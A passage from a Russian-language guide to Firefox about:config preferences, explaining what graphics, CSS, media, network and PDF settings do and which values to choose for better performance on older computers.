сбоев в графическом API. В случае сбоя, процесс композитинга автоматически перезапускается без негативного влияния на работу остальных частей браузера. Функция может работать только если включено и работает аппаратное ускорение. Из-за ошибок была отключена, но в прежних версиях Firefox (например 78) она может быть по умолчанию включена. Если видеокарта умеет OpenGL 2.0+ можете попробовать её включить обратно **true**, Firefox может немного шустрее работать. Если у вас не работает аппаратное ускорение или видеокарта не поддерживает OpenGL 2.0+, переключите эту опцию в **false** ***layers.low-precision-buffer*** [\*](https://www.reddit.com/r/firefox/comments/5umi2x/anyone_have_any_tweaks_for_firefox_on_older/) [\*](http://forum.ru-board.com/topic.cgi?forum=5&topic=36098&start=3880#2) Некоторые видеокарты, как правило встроенные в материнскую плату, при воспроизведении анимации или видео могут не справляться: на экране могут появляться полосы, видео и анимация подтормаживать или зависать. Если вы столкнулись с такими проблемами, попробуйте включить **true** эту опцию, она сделана для лучшей совместимости браузера со старыми видеокартами, с которыми могут возникнуть проблемы в режиме аппаратного ускорения. Если проблем с аппаратным ускорением нет, оставьте её выключенной **false** ***layers.max-active*** Иногда некоторые медиа элементы на сайтах могут не отображаться или отображаться с ошибками, например, на сайте Youtube вместо окошка с проигрываемым видео будет чёрный или зелёный прямоугольник. Как правило это бывает, когда в браузере работает аппаратное ускорение с встроенными слабыми или старыми видеокартами. **картинка** ![image](https://habrastorage.org/r/w780q1/webt/tv/dl/bo/tvdlbolut1ediirrn7rlyg1ysuk.jpeg) Для исправления необходимо будет подобрать правильное значение этого параметра. В начале установите значение **1**, перезапустите браузер. Если проблема решилась, добавьте к этому числу ещё единицу и опять перезапустите браузер. В конечном итоге, вы должны подобрать такое максимальное значение при котором содержимое веб-страницы ещё будет отрисовываться без ошибок. ***layers.omtp.enabled*** [\*](https://mozillagfx.wordpress.com/2017/12/05/off-main-thread-painting/) Прорисовка вне основного потока. В целом, эта функция придаёт браузеру большую отзывчивость и лучшую скорость работы. Однако на совсем слабых ПК, с одноядерным процессором и без аппаратного ускорения, работа этой функции наоборот может немного замедлить браузер. Отключать или нет — проверяете самостоятельно. Начиная с Firefox 74, для работы этой функции браузер требует 64 бита, или же 32, но с процессором имеющим не менее трёх ядер или потоков и оперативной памятью объёмом более 2-ух гигабайт. А с Firefox 85 это ограничение применяется и для 64 битных версий браузера ***layout.css.accent-color.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/CSS/accent-color) Для Firefox 91 Функция позволяет отображать определённые графические эффекты. Включена по умолчанию в новых Firefox и других браузерах, включите её тоже **true** ***layout.css.aspect-ratio.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/CSS/aspect-ratio) Для Firefox 78 и 84. Функция позволяет правильно отображать некоторые элементы веб-страницы. Включена по умолчанию в новых Firefox. Включите её тоже **true** ***layout.css.backdrop-filter.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/CSS/backdrop-filter) Для Firefox 78+ Функция позволяет показывать эффект размытия изображения на сайтах где применяется этот метод. Включена **true** в новых Firefox по умолчанию. Может работать только если используется аппаратное ускорение типа Webrender, WebRender (Software) или WebRender (Software OpenGL) (см. выше *«Аппаратное ускорение видеокартой»*), а так же дополнительно включена **true** опция ***gfx.webrender.all*** ***layout.css.clip-path-path.enabled*** [\*](https://developer.mozilla.org/ru/docs/Web/CSS/clip-path) Функция обработки изображений и других элементов страницы. Включена по умолчанию c Firefox 71, другие браузеры (Chrome, Edge, Opera) пока её не поддерживают. Включается **true** ***layout.css.column-span.enabled*** [\*](https://webref.ru/css/column-span) [\*](https://developer.mozilla.org/en-US/docs/Web/CSS/column-span) Функция определяет, как должен отображаться элемент в многоколоночном тексте — занимать ширину всех колонок или только одну из них. Это свойство обычно применяют для заголовков текста или изображений, которые не должны разбиваться на колонки. Работает по умолчанию в новых Firefox. Включите её **true** ***layout.css.contain.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/CSS/contain) Для Firefox 68. С помощью этой функции отображение страниц после их загрузки может происходить быстрее. В новых версиях Firefox и других браузерах она включена по умолчанию. Включите её **true** ***layout.css.conic-gradient.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/CSS/conic-gradient()) Для Firefox 78 Функция позволяет показывать на веб-странице определённые графические эффекты. Включена по умолчанию в новых Firefox. Включите её **true** ***layout.css.constructable-stylesheets.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/API/CSSStyleSheet) Для Firefox 78+ Функция предназначена для правильного отображения таблицы стилей на веб-страницах. Включена по умолчанию в новых Firefox и других браузерах. Включите её тоже **true** ***layout.css.d-property.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/d) Для Firefox 91 Один из методов обработки векторной графики. Функция включена по умолчанию в новых Firefox, включите её тоже **true** ***layout.css.focus-visible.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/CSS/:focus-visible) Для Firefox 78 и 84. Функция позволяет сайту выделять/подсвечивать определённые элементы страницы (например кнопки или поля ввода текста) для акцентирования внимания на них. Включена в новых Firefox, включите её **true** ***layout.css.grid-template-subgrid-value.enabled*** [\*](https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Grid_Layout/Subgrid) Новая функция разметки сетки с веб-элементами на странице. Служит для более простого (в плане написания кода программистами) подхода к оформлению сайта. Начиная с Firefox 71 она включена по умолчанию. Включите её **true** ***layout.css.outline-style-auto.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/CSS/outline-style) Функция позволяет обводить текст рамкой в цветах пользовательских стилей, если они есть в браузере и этот метод используется на сайте. Если их нет, контур рамки будет отрисован тонкой чёрной линией. Включено по умолчанию в новых Firefox. Можете так же её включить **true** ***layout.css.report\_errors*** [\*](http://kb.mozillazine.org/Layout.css.report_errors) Анализатор CSS. Функция полезна для веб-разработчиков и не нужна обычным пользователям. Отключить **false** ***layout.css.resizeobserver.enabled*** [\*](https://habr.com/ru/post/487146) [\*](https://codepen.io/SandoCalrissian/pen/LYPyQVN) Для Firefox 68. ResizeObserver API — это интерфейс слежения за изменениями размеров элемента. Может использоваться например для подгонки размещённого текста в определённых границах. Если эта функция будет отключена, некоторые сайты могут отображаться не правильно. Опция включена по умолчанию начиная c Firefox 69. Включите её тоже **true** ***layout.display-list.improve-fragmentation*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1695509) Для Firefox 84. Функция может устранить проблемы с печатью, когда браузер открывая документ неправильно определяет количество страниц отправляемых принтеру. Если у вас есть принтер переключите опцию в **true** ***layout.dynamic-reflow-roots.enabled*** Переключение этой функции в **true**, позволяет в некоторых случаях работать браузеру быстрее. По умолчанию включена в новых Firefox. ***layout.spellcheckDefault*** [\*](https://support.mozilla.org/ru/kb/kak-proveryat-orfografiyu-v-firefox?redirectlocale=en-US&redirectslug=Using+the+spell+checker) Проверка орфографии при наборе текста. Если вы или тот человек, который будет пользоваться этим ПК только читатель, а не писатель — можете смело отключить эту функцию, установив значение **0** ***media.av1.enabled*** [\*](https://habr.com/ru/post/442020/) [\*](https://habr.com/ru/company/Voximplant/blog/456072/) Поддержка браузером нового тяжёлого видеокодека AV1. Откройте [эту страницу](https://demo.bitmovin.com/public/firefox/av1/) и посмотрите, сможет ли ваш компьютер или мобильное устройство проиграть видео плавно, без задержек, хотя бы в самом минимальном качестве. Если не сможет, переключите эту опцию в **false** Сейчас Youtube по умолчанию подсовывает браузеру видео в новом кодеке AV1, который очень сильно нагружает старые процессоры и видео возможно посмотреть только в малых разрешениях 144р или 360р. **Как узнать в каком кодеке показывается видео c Youtube** В плеере наведите курсор мыши на проигрываемое видео, нажмите правую кнопку мыши и в появившемся меню внизу выберите «Статистика для сисадминов». В верхнем правом углу видео появится информация о проигрываемом файле (размер/разрешение изображения, частота кадров и используемый кодек). Где **av01** — AV1 кодек **vp09** — VP9 (WebM) кодек **avc1** — AVC (H264) кодек ![image](https://habrastorage.org/r/w780q1/webt/hh/ld/82/hhld82xcmbxqnpisaxh5bjkaoqe.jpeg) Если в вашем компьютере стоит процессор который не поддерживает хотя бы одну из этих инструкций: SSSE3 (три буквы S) SSE4.1 AVX2 переключите эту опцию в **false** для того, что бы Youtube отдавал видео в другом более быстром кодеке. На мобильных устройствах эту опцию желательно тоже отключить, так как телефоны/планшеты с чипами способными аппаратно декодировать AV1 видео стали появляться с 2021 года. ***media.autoplay.block-webaudio*** [\*](https://developer.mozilla.org/en-US/docs/Web/Media/Autoplay_guide) Функция блокирует автоматический запуск различных звуковых или аудиовизуальных эффектов [Web Audio API](https://developer.mozilla.org/ru/docs/Web/API/Web_Audio_API) сразу после загрузки веб-страницы. Включена **true** по умолчанию в новых Firefox. Видимо хватало сайтов и жалоб на них, где злоупотребляли автозапуском, когда эта опция по умолчанию была выключена. Можете тоже отключить автозапуск функций Web Audio API, переключив опцию в **true** ***media.cache\_readahead\_limit*** Функция связана с подгрузкой следующих частей видео по мере его просмотра, например на Youtube или других видео площадках. ![image](https://habrastorage.org/r/w780q1/webt/vx/_3/oc/vx_3ocykaczu6ttwln_3j-k0xny.jpeg) Если у вас совсем медленный интернет или плохое качество соединения (например слабый сигнал Wi-Fi), в значении можно установить **600** (по мере просмотра будут подгружаться следующие 10 минут или 600 секунд видео). ***media.cubeb.output\_voice\_routing*** [\*](https://forums.freebsd.org/threads/how-to-use-microphone-with-firefox.74292/#post-491199) Для Firefox 78+. При использовании голосовой связи в браузере, например в веб версиях чатов, эта опция позволяет выбрать устройство с которого должен выходить звук, если таких устройств подключено несколько. Если не пользуетесь голосовой связью в браузере или к звуковым выходам подключено одно устройство, отключите эту функцию **false** ***media.cubeb.sandbox*** Браузер в целях безопасности создаёт отдельную изолированную среду «песочницу», для обработки звука на веб-страницах. Если отключить эту функцию, Firefox будет обращаться к аудио-драйверу на прямую. Для лучшей производительности её можно отключить **false**. И обязательно её отключите на компьютере с процессором без SSE2 инструкций. ***media.devices.insecure.enabled media.getdisplaymedia.enabled*** [\*](https://habr.com/ru/company/Voximplant/blog/415201/) Функция транслирования изображения вкладок браузера на другие компьютеры. Применяется в WebRTC (видеочатах). Если не пользуетесь видеочатами в браузере, отключите их **false** ***media.encoder.webm.enabled media.recorder.video.frame\_drops*** Функция предназначена для кодирования (не путать с декодированием) видео в формат webm. Используется скорее всего в видеочатах WebRTC. На проигрывание браузером видео в формате webm, отключение этой функции ни как не влияет. Можете отключить **false** ***media.ffmpeg.dmabuf-textures.disabled*** Для Firefox 84+. Если в вашем компьютере стоит видеокарта без поддержки OpenGL 3 или новее, переключите эту опцию в **true** ***media.ffvpx.enabled*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1214462) Эта функция связана с декодированием видео. Отключив эту функцию **false**, вместо декодера *ffvpx* будет использоваться декодер *libavcodec*. Можете попробовать попереключить эту опцию, возможно в каком-то положении нагрузка на процессор при проигрывании видео будет меньше. Хотя я не уверен, что эта настройка вообще работает в Linux. ***media.getusermedia.aec\_enabled media.getusermedia.agc\_enabled media.getusermedia.noise\_enabled media.getusermedia.screensharing.enabled*** Функции используются для получения доступа к микрофону и/или вебкамере. Необходимы для организации потокового вещания, а так же аудио или видео чатов в Firefox. По сути являются частью WebRTC. Не нужно — отключайте **false** ***media.gmp-gmpopenh264.visible*** Если вы отключили в настройках дополнений плагин «Видеокодек Openh264 предоставленный Сisco Systems», установив **false** он не будет отображаться в списке плагинов. ***media.hardware-video-decoding.enabled*** [\*](https://forum.mozilla-russia.org/viewtopic.php?id=75818&p=1) [\*](https://www.phoronix.com/forums/forum/software/desktop-linux/1202728-firefox-80-available-with-va-api-on-x11-webgl-parallel-shader-compile-support/page5#post1202832) Функция аппаратного декодирования видео. В некоторых ситуациях может очень сильно разгрузить процессор, улучшить быстродействие. В десктопном Firefox 78 доступно только на ОС с [Wayland](https://ru.wikipedia.org/wiki/Wayland) (обязательно необходимо включить ещё и ***widget.wayland-dmabuf-vaapi.enabled***). В Firefox 84 может работать и с X11. В операционных системах Android начиная с версии 4.1, на Firefox 68 и новее. Аппаратное декодирование на видеокарте возможно, если она поддерживает OpenGL начиная с версии 3.0. Отключить **false** можно попробовать в следующих ситуациях: 1. Вы точно знаете, что ваша видеокарта, процессор, браузер или ОС не умеют аппаратно декодировать H264 или VP9. 2. Аппаратное декодирование видео выполняется хуже чем это делает процессор программным способом (например видеокарта не тянет 1080\*60fps, а процессор справляется). 3. Возникающие частые ошибки при воспроизведении видео, которые невозможно исправить. ***media.mediasource.webm.enabled*** Для Firefox 68. Эта функция позволяет запрашивать дополнительные данные c сайта по видео кодекам VP8 и VP9. После включения этой опции, в настройках видео плеера на некоторых сайтах может отображаться расширенный список выбора качества видео. Например от 144p до 1080p, а не только 360p или 720p. Включена по умолчанию в Firefox 75, включите её тоже **true** ***media.navigator.enabled*** Используется для записи звука с микрофона, изображения с вебкамеры и screen sharing (доступ удаленного компьютера к порции экрана). Если всё это не используется, отключите **false** ***media.ondevicechange.enabled*** [\*](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/ondevicechange) [\*](https://developer.mozilla.org/en-US/docs/Web/Events/devicechange) Функция слежения браузером за вновь подключёнными или отключёнными медиа устройствами, например такими как веб-камера или микрофон. Применяется в WebRTC. Если не используете камеру и/или микрофон в Firefox — отключайте **false** ***media.peerconnection.enabled*** [WebRTC](https://ru.wikipedia.org/wiki/WebRTC). Не пользуетесь — отключайте **false** ***media.resume-bkgnd-video-on-tabhover*** Когда вы включаете проигрывание видео на какой-нибудь веб-странице и затем переключаетесь на другую вкладку не останавливая видео, декодирование видеопотока останавливается, остаётся только звук. Затем наведя курсор мышки на вкладку с видео, ещё не нажимая/не переключаясь на неё, Firefox опять включает декодирование видео. Сделано это для того, что бы в момент переключения на вкладку с видеороликом видео продолжало проигрываться сразу, а не с секундной паузой. Однако если у вас совсем слабый компьютер, или вы пользуетесь расширением ViewTube, желательно отключить эту функцию **false** ***media.rdd-process.enabled*** [\*](https://wiki.mozilla.org/Security/Sandbox/Process_model) [\*](https://www.reddit.com/r/AV1/comments/b3bcft/firefox_nightly_now_uses_dav1d_021/) ***media.rdd-ffvpx.enabled media.rdd-opus.enabled media.rdd-retryonfailure.enabled media.rdd-theora.enabled media.rdd-vorbis.enabled media.rdd-vpx.enabled media.rdd-wav.enabled*** Firefox в целях безопасности по умолчанию создаёт отдельный изолированный процесс «песочницу» для некоторых видео и аудио декодеров. Что бы видео в браузере меньше нагружало процессор и меньше подлагивало отключите эти функции **false** ***media.ruin-av-sync.enabled*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1616500) Если у вас так бывает, что при просмотре видеороликов картинка останавливается, а аудио продолжает звучать, либо после старта или паузы плеер продолжает проигрывать только звук без видео, попробуйте переключить эту опцию в **true**. Если же у вас всё в порядке, оставьте эту опцию в **false** ***media.videocontrols.picture-in-picture.enabled*** [\*](https://support.mozilla.org/ru/kb/o-funkcii-kartinka-v-kartinke-v-firefox) Функция Картинка-в-Картинке позволяет вам отсоединять видео от веб-страницы в плавающее окно, расположенное всегда поверх всех окон, для просмотра во время продолжения работы в других вкладках. Вы можете перемещать окно Картинка-в-Картинке по экрану и изменять его размеры, как пожелаете. Можете включить эту функцию **true** Щёлкнув правой кнопкой мыши по веб-видео, в окошке контекстного меню появится строка «Картика в картинке», её нужно нажать. На сайте Youtube необходимо два раза подряд нажать правую кнопку мыши для вызова меню браузера. ***media.videocontrols.picture-in-picture.video-toggle.enabled*** Если включить эту опцию **true**, при наведении курсора мыши на окно видеоплеера, с правой стороны появится синий квадрат. Если на него навести курсор мыши, он раскроется с надписью «Картинка в картинке». Это ещё один способ использования функции «Картинка в картинке». ***media.videocontrols.picture-in-picture.video-toggle.has-used*** При наведении курсора мыши на окно видеоплеера, с правой стороны появится окошко «Смотреть в режиме Картинка-в-картинке». Если на окошко навести курсор, оно раскроется с надписью «Воспроизводите видео на переднем плане, пока вы занимаетесь другими делами в Firefox». Что бы эти надписи не вылазили, а появлялся только маленький значёк, нажав по которому видео отправлялось в «Картинка-в-картинке», переключите эту опцию в **true** ***media.video\_stats.enabled*** [\*](https://people.torproject.org/~gk/misc/video-paint-stats.html) Отвечает за сбор и отправку статистики о воспроизведении видео (кол-во пропущенных/отрендеренных кадров, и т.д. Например на YouTube, если для видео вызвать окно «Статистика для сисадмина» в графе *Viewport / Frames*). Отключите **false** ***media.webm.enabled*** Только для Firefox 79+ на Android 5+ Приложение YouTube в операционных системах Android до пятой версии перестало работать с сайтом YouTube. Но сайт и видео ещё возможно посмотреть в браузерах или некоторых сторонних приложениях таких как [NewPipe](https://newpipe.net/). К сожалению, в браузерах ютуб отдаёт видео в кодеке VP9 который не умеют аппаратно декодировать старые смартфоны и планшеты, в итоге при просмотре видео аппарат греется, аккумулятор садится быстро, качество видео не всегда получается удовлетворительным. Хотя многие планшеты и телефоны того времени имеют в себе аппаратный декодер H264, способный проиграть видео в наилучшем качестве и энергию аккумулятора сэкономить. И если для компьютерной версии Firefox есть специальные дополнения вроде *h264ify*, что бы YouTube всегда отдавал видео в H264 кодеке, то для новых мобильных версий этого браузера (79+) таких дополнений нет. Переключите эту опцию в **false**, что бы YouTube показывал все видео в быстром (для вашего мобильного устройства) кодеке H264, а не VP9. Но знайте, что эта настройка в браузере глобально отключает показ всех видео в VP8 или VP9 кодеках (таких сайтов очень мало, но они всё же могут вам повстречаться). ***media.webspeech.synth.enabled*** Нужен для распознавания и синтеза речи. Отключение **false** ***narrate.enabled*** Функция зачитывания текста при помощи синтезированной речи в режиме чтения. Прикольная штука. Жаль что только на английском. Не понимаете английский язык — отключайте **false** ***network.captive-portal-service.enabled*** ***network.connectivity-service.enabled*** [\*](https://www.ghacks.net/2020/02/19/why-is-firefox-establishing-connections-to-detectportal-firefox-com-on-start/) [Captive portal](https://ru.wikipedia.org/wiki/Captive_portal). В общественных беспроводных Wi-Fi сетях (кафе, вокзалы и т.д.) при подключении ноутбука, прежде чем начинать пользоваться интернетом, очень часто необходимо согласиться с некоторыми условиями или пройти [авторизацию](https://habrastorage.org/webt/9v/15/dc/9v15dc8ze6o31yj7do1ooogc0fq.jpeg). Если интернет не доступен определённое время, Firefox делает перенаправление на страницу авторизации сервиса. Для не передвижного компьютера постоянно подключённого к интернету проводом или через свой Wi-Fi эту функцию можно выключить **false** ***network.trr.confirmation\_telemetry\_enabled*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1694457) Для Firefox 91 Телеметрия, отключите **false** ***network.connectivity-service.nat64-check*** [\*](https://en.wikipedia.org/wiki/NAT64) Для Firefox 84+. Позволяет компьютеру только с IPv4 подключением, соединяясь через промежуточный IPv4 — IPv6 сервер установленный в сети предприятия, просматривать сайты только с IPv6 подключением. Если ваш компьютер не в сети предприятия, либо у компьютера есть полноценное IPv6 подключение, отключите эту функцию **false** ***network.cookie.sameSite.laxByDefault network.cookie.sameSite.noneRequiresSecure network.cookie.sameSite.schemeful*** [\*](https://www.watermillsky.ru/2020/01/20/cookie-samesite-none/) [\*](https://hacks.mozilla.org/2020/08/changes-to-samesite-cookie-behavior/) [\*](https://habr.com/ru/post/334856/) [\*](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite) Для Firefox 78+ Функции безопасности, делают раздельным хранение и отправку файлов cookie. Включены по умолчанию в новых Firefox. Включите их **true** ***network.dns.disableIPv6*** Если нет подключения по IPv6 протоколу — отключить **true** ***network.dns.disablePrefetch*** [\*](https://forum.palemoon.org/viewtopic.php?t=15181) Эта опция позволяет Firefox для каждой ссылки на загруженной странице заранее узнавать её IP адрес у DNS сервера (на всякий случай, если вы решите ее нажать). Таким образом следующие странички должны открываться немного быстрее. Однако если у вас совсем слабый компьютер и/или очень медленный нестабильный выход в интернет (например слабый сигнал Wi-Fi), время загрузки страницы наоборот может увеличиться, а не уменьшиться. В этом случае отключите эту настройку **true** ***network.dns.upgrade\_with\_https\_rr network.dns.use\_https\_rr\_as\_altsvc** [\*](https://forum.mozilla-russia.org/viewtopic.php?id=76941)* Для Firefox 84+. Функции позволяют правильно отображать сайты если браузер использует [DNS через HTTPS](https://support.mozilla.org/ru/kb/dns-cherez-https-v-firefox) (см. Настройки --> Основные --> Параметры сети --> опция Включить DNS через HTTPS). Включены в новых Firefox по умолчанию **true** ***network.http.http3.enabled*** [\*](https://habr.com/ru/post/438810/) [\*](https://ru.wikipedia.org/wiki/HTTP/3) Для Firefox 78 и 84 Поддержка нового протокола HTTP/3. Включите его **true** ***network.http.rcwn.enabled*** [\*](https://www.opennet.ru/opennews/art.shtml?num=48254) [\*](http://slides.com/valentingosu/race-cache-with-network-2017/fullscreen#/9) Механизм использования дискового кэша. Firefox сохраняет на жёстком диске часть данных с посещённых сайтов. При повторном обращении к этим сайтам, теже самые данные могут подгрузиться с винчестера компьютера пользователя, а не быть заново загружены с сети. Однако медленные механические HDD диски могут отдавать данные не сразу, из-за паузы во времени, когда двигаются их механические части. Эта функция параллельно с обращением к кэшу на диске отправляет сетевой запрос на сайт. Более быстрый ответ получает приоритет. Если интернет соединение работает быстрее чем жёсткий диск, страница может загрузиться без использования диского кэша. И наоборот, будет использоваться дисковый кэш если он имеет преимущество перед интернет соединением. В ситуации наличия медленных механических HDD дисков и высокоскоростного стабильного сетевого соединения данный подход позволяет ускорить загрузку страниц. Если в компьютере установлен SSD диск, и/или интернет соединение тарифицировано по трафику, медленное и плохого качества, желательно отключить эту опцию **false**. Также работа этой функции не имеет смысла если ранее в настройках был отключен дисковый кэш см. ***browser.cache.disk.enable***. Посмотреть статистику работы RCWN можно в *about:networking*, в меню «Статистика RCWN» ***network.http.referer.defaultPolicy.trackers network.http.referer.defaultPolicy*** [\*](https://blog.mozilla.org/security/2018/01/31/preventing-data-leaks-by-stripping-path-information-in-http-referrers/) [\*](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy) [\*](https://wiki.mozilla.org/Security/Referrer) Для Firefox 68 — 84 Функции безопасности, предотвращают утечку некоторых типов данных. По умолчанию в новых версиях Firefox применяются более строгие политики (значение **2**). Можете тоже для этих опций изменить значения с 3 на **2** ***network.http.sendOriginHeader*** [\*](https://developer.mozilla.org/ru/docs/Web/HTTP/%D0%97%D0%B0%D0%B3%D0%BE%D0%BB%D0%BE%D0%B2%D0%BA%D0%B8/Origin) Функция необходима для корректного взаимодействия Firefox и сайтов. Работает во всех браузерах. Включите её изменив значение на **2** ***network.http.speculative-parallel-limit*** [\*](https://support.mozilla.org/ru/kb/kak-ostanovit-firefox-ot-avtomaticheskogo-podklyuc) Предварительные соединения с сайтами, когда пользователь наводит мышь на пиктограмму на странице «Новая вкладка» или пользователь начинает поиск в панели поиска, или в поле поиска на странице «Дом» или «Новая вкладка». В случае, если пользователь затем перейдет на этот сайт, сайт может загрузиться быстрее, поскольку некоторые действия уже начались заранее. На слабых компьютерах желательно отключить эту функцию **0** ***network.notify.changed*** [\*](https://daniel.haxx.se/blog/2014/09/26/changing-networks-with-firefox-running/) Функция проверяет (по умолчанию каждые 5 секунд) не изменились ли параметры сетевого подключения компьютера. Это необходимо, например, если вы не отключая ноутбук и не закрывая браузер, отключитесь от одной точки доступа Wi-Fi и переместившись в другое место автоматически подключитесь к другой точке доступа Wi-Fi, которая назначит другие настройки сетевого подключения вашему компьютеру. Firefox автоматически обнаружит изменения и переключится на новые параметры. Для стационарного компьютера, или компьютера который выходит в интернет всё время через одно и тоже сетевое подключение, или одну и ту же Wi-Fi точку доступа, эту опцию можно отключить **false** ***network.predictor.enabled*** [\*](https://www.ghacks.net/2014/05/11/seer-disable-firefox/) [\*](https://github.com/dillbyrne/random-agent-spoofer/issues/238) Механизм, который в некоторых случаях может ускорить загрузку веб-страниц. Firefox устанавливает соединения с ранее посещёнными сайтами, на которые, по его предположению, может перейти пользователь. На медленных слабых компьютерах опцию можно отключить **false**, а на компьютерах где веб-страница загружается и отрисовывается достаточно быстро — желательно оставить включённой **true** ***network.prefetch-next*** Отвечает за предварительную загрузку Firefox-ом некоторых ссылок, которые сайт считает наиболее вероятным следующим шагом пользователя. Включение данного параметра небезопасно, приводит к лишнему трафику и большей загрузке оперативной памяти. Если у вас не безлимитный медленный интернет, оперативки в притык и вам не нужно что бы Firefox лез туда, куда его не просят, отключите эту функцию **false** ***network.preload*** [\*](https://habr.com/ru/post/445264/) Предварительная загрузка некоторых неотображаемых элементов страницы, которые потом могут быть показаны если пользователь обратится к ним (нажмёт кнопку, прокрутит страницу вниз и пр.). Функция может ускорить взаимодействие с элементами сайта, хотя в тоже время и увеличить потребление интернет трафика и памяти. Некоторые сайты использующие *preload* могут отображаться не правильно если в Firefox выключена эта опция. В новых Firefox она включена по умолчанию, включите её тоже **true** ***network.process.enabled*** Если включить эту функцию **true** браузер может перенести всю сетевую активность в отдельный процесс, тем самым повысить стабильность работы и немного увеличить производительность. Если у вас медленный процессор и оперативной памяти впритык, оставьте эту опцию выключенной **false** ***network.protocol-handler.external.mailto*** Если на компьютере не используют почтовые программы-клиенты или веб-версии почты, например Gmail, Яндекс.почта или др. переключите эту опцию в **false** ***network.protocol-handler.external.news network.protocol-handler.external.nntp network.protocol-handler.external.snews*** [\*](https://ru.wikipedia.org/wiki/NNTP) Эти опции связаны с определёнными ссылками, которые могут размещаться на сайте. После нажатия по ним, может запуститься программа клиента получения групп новостей, в которой будет отображён в текстовом виде полученный список новостей. Если вы этим не пользуетесь и/или не понимаете о чём речь, переключите все три опции в **false** ***network.proxy.type*** Если вы не используете прокси-сервер для выхода в интернет, установите значение **0** ***network.send\_ODA\_to\_content\_directly*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1646058) [\*](https://hg.mozilla.org/mozilla-central/rev/27cb0dad158d) [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1731192) Для Firefox 84 и 91 Вроде как функция связана с оптимизацией обработки данных. Включена по умолчанию в новых Firefox. В своё время отключалась из-за того, что один из разработчиков захотел её доусовершенствовать, хотя она и так работала нормально. Можете включить её **true** ***network.ssl\_tokens\_cache\_enabled*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1708869) Функция позволяет обойти появление определённых ошибок в браузере. Включена по умолчанию в новых Firefox, включите её тоже **true** ***network.tcp.tcp\_fastopen\_enable*** [\*](https://www.keycdn.com/support/tcp-fast-open) [\*](https://www.stableit.ru/2015/04/tfo-tcp-fast-open-linux-319.html) Если включить эту опцию **true**, некоторые сайты могут загружаться быстрее. ***network.traffic\_analyzer.enabled*** Телеметрия. Можно отключить **false** ***nglayout.enable\_drag\_images*** [\*](http://kb.mozillazine.org/Nglayout.enable_drag_images) [\*](https://forum.mozilla-russia.org/viewtopic.php?pid=630514) Если включена эта опция, при перетягивании мышкой вкладки или какого-нибудь кликабельного элемента веб-страницы (например ссылки) рядом с курсором будет отображаться полупрозрачный рисунок это элемента. Если вы не хотите видеть эти рисунки, или ваш компьютер настолько слаб, что ему не желательна лишняя нагрузка, можете отключить эту функцию **false** ***nglayout.initialpaint.delay*** (этот параметр создаётся как целое) [\*](https://forum.palemoon.org/viewtopic.php?t=1433) Задержка перед началом отрисовки загружаемой веб-страницы в миллисекундах. По умолчанию задано значение 250. Однако если у вас быстрый (более 2 мбит) и стабильный интернет, можете уменьшить значение до **150**. При малых значениях (5 — 10) отрисовка отображаемой страницы может начаться даже сразу после клика по ссылке, однако, если некоторые элементы страницы не будут успевать подгрузится до окончательной отрисовки, браузер может заново перерисовать выводимое изображение, что в общем итоге может не ускорить, а замедлить время до полного отображения веб-страницы. Только на очень слабых компьютерах и/или с медленным и не стабильным интернет-соединением (например Wi-Fi c плохим качеством сигнала) этот параметр лучше не трогать. ***permissions.postPrompt.animate*** Подёргивание влево-вправо значка уведомления ![image](https://habrastorage.org/r/w780q1/webt/g-/-2/rz/g--2rzyawi22-asvjfthsxfyiqi.jpeg). Можете отключить анимацию **false** если вас устроит статичный показ этого значка. Функция работает только если в настройках *«Приватность и защита»* полностью глобально заблокированы уведомления, и включена опция показа значка уведомления если сайт захочет показать их **permissions.desktop-notification.postPrompt.enabled** [\*](https://news.ycombinator.com/item?id=19975009). Ну и **toolkit.cosmeticAnimations.enabled** не должен быть выключен. ***pdfjs.disabled*** По умолчанию эта функция отключена **false** и разрешает просмотр pdf документов с помощью встроенного в Firefox просмотрщика. Но если вы просматриваете pdf файлы в других программах предварительно их скачивая, переключите эту опцию в **true** ***pdfjs.enablePrintAutoRotate*** Автоматический поворот страницы pdf документа для печати, например печать изображения в альбомном виде. Функция включена по умолчанию в новых Firefox. Если к компьютеру подключается принтер можете её тоже включить **true** ***pdfjs.enableWebGL*** Если у вас очень медленный процессор, но работает WebGL (смотри пример функции **gfx.offscreencanvas.enabled**), включив **true** эту опцию — отрисовка pdf документов открытых в браузере немного ускорится. ***pdfjs.renderInteractiveForms*** [\*](http://pdfjs.renderInteractiveForms) Интерактивные PDF формы. Просмотр специальных документов (файлов) в pdf формате, в которых сделана возможность заполнять поля. Если включить эту функцию **true**, области в которые можно вписывать значения подсвечиваются. Но в Firefox 68 не сохраняются введённые данные. Можно лишь посмотреть или сделать скриншот. В новых Firefox функция включена по умолчанию, и можно сохранить или распечатать изменённый pdf документ. ***plugin.disable*** (этот параметр создаётся как логическое) Функция отключает все плагины, кроме двух: **Видеокодек Openh264 предоставленный Сisco Systems** и **Плагин расшифровки контента Widevine**. Если вы используете только эти два плагина или вообще никакие, можете переключить эту опцию в **true** ***plugin.state.flash*** Измените значение на **0**, если не будете устанавливать или пользоваться Flash плагином ***plugins.flashBlock.enabled*** [\*](https://support.mozilla.org/ru/kb/plaginy-naprimer-flash-po-umolchaniyu-blokiruyutsy) Блокировка работы Flash плагина. Если на компьютере установлен Flash player, переключите опцию в **false** ***plugin.persistentPermissionAlways.intervalInDays plugin.sessionPermissionNow.intervalInMinutes*** Для Firefox 68. Если в *about:addons* на странице Плагины для 